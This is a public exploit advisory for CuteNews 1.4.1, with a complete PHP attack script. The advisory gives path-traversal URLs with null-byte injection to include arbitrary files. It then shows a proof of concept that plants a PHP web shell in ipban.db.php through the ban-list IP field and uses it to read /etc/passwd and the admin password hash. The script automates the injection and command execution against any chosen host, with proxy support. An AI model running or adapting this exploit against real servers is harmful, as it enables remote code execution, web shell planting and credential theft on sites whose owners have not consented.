CuteNews 1.4.1 Arbitrary file inclusion / remote code execution exploit software: site: http://cutephp.com/ description: "Cute news is a powerful and easy for using news management system that use flat files to store its database. It supports comments, archives, search function, image uploading, backup function, IP banning, flood protection [..]" 1) Arbitrary file inclusion: http://[target]/cute141/show_archives.php?template=../../../../../../../../boot.ini%00 http://[target]/cute141/show_archives.php?template=../../../../../../../../[script] http://[target]/cute141/show_news.php?template=../../../../../../../../boot.ini%00 http://[target]/cute141/show_news.php?template=../../../../../../../../[script] where [script] is a file with .tpl extension 2) you can gain administrative privileges including .mdu scripts, poc exploit: http://[target]/cute141/show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=<?php%20system($_GET[cmd]);?> now in ipban.db.php we have: <?php system($_GET[cmd]);?>|0|| and we launch commands: http://[target]/cute141/data/ipban.db.php?cmd=cat%20/etc/passwd to see /etc/passwd file http://[target]/cute141/data/ipban.db.php?cmd=cat%20users.db.php to see admin md5 password hash <?php # ---cuten141_xpl.php 7.13 03/11/2005 # # # # CuteNews 1.4.1 shell injection # # by rgod # # site: http://rgod.altervista.org # # # # usage: launch form Apache, fill in requested fields, then go! # # # # make these changes in php.ini if you have troubles # # with this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # mphhh, exploited this two times... really bored ;) # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<head><title>CuteNews 1.4.1 remote commands execution </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type= "text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6"> CuteNews 1 . 4 . 1 (possibly prior versions) remote commands execution</p><p class="Stil e6">a script by rgod at <a href="http://rgod.altervista.org"; target="_blank"> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host= value&port=value&command=value&proxy=value"><p><input type="text" name="host"> <span class="Stile5"> hostname (ex: www.sitename.com) </span></p><p> <input type="text" name="path"><span class="Stile5"> path (ex: /cute/ or just /)</span> </p><p><input type="text"name="port"><span class="Stile5"> specify a port other than 80 ( default value ) </span> </p> <p> <input type="text" name="command"> <span class="Stile5"> a Unix command , example: ls -la to list directories, ca t /etc/passwd to show passwd file </span></p><p><input type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span></p> <p> <input type="submit" name="Submit" value="go!"> </p></form> </td> </tr> </table>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } function sendpacket($packet) { global $proxy, $host, $port, $html; $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die;} } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) {$html.=fgets($ock);} } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} $port=intval(trim($port)); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') { $p=$path; } else { $p="http://".$host.":".$port.$path;} #STEP 1 -> Inject a shell in ipban.db.php... ############################################################################################### $shell='<?php error_reporting(0); ini_set("max_execution_time",0); system($_GET[cmd]); die;?>'; $shell=urlencode($shell); #very nice ip to add to banlist... ;) no check fo ip address format, only a stripslashes ############################################################################################### $packet="GET ".$p."show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=".$shell." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //show the packet for debugging purposes sendpacket($packet); # STEP 2 -> Launch commands echo '<br> If CuteNews 1.4.1 is unpatched and vulnerable, now you will see '.htmlentities($command).' output...<br>'; $packet="GET ".$p."data/ipban.db.php?cmd=".urlencode($command)." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //debugging... sendpacket($packet); } else {echo 'fill in all requested fields...optionally specify a proxy...';} ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/cute141.html
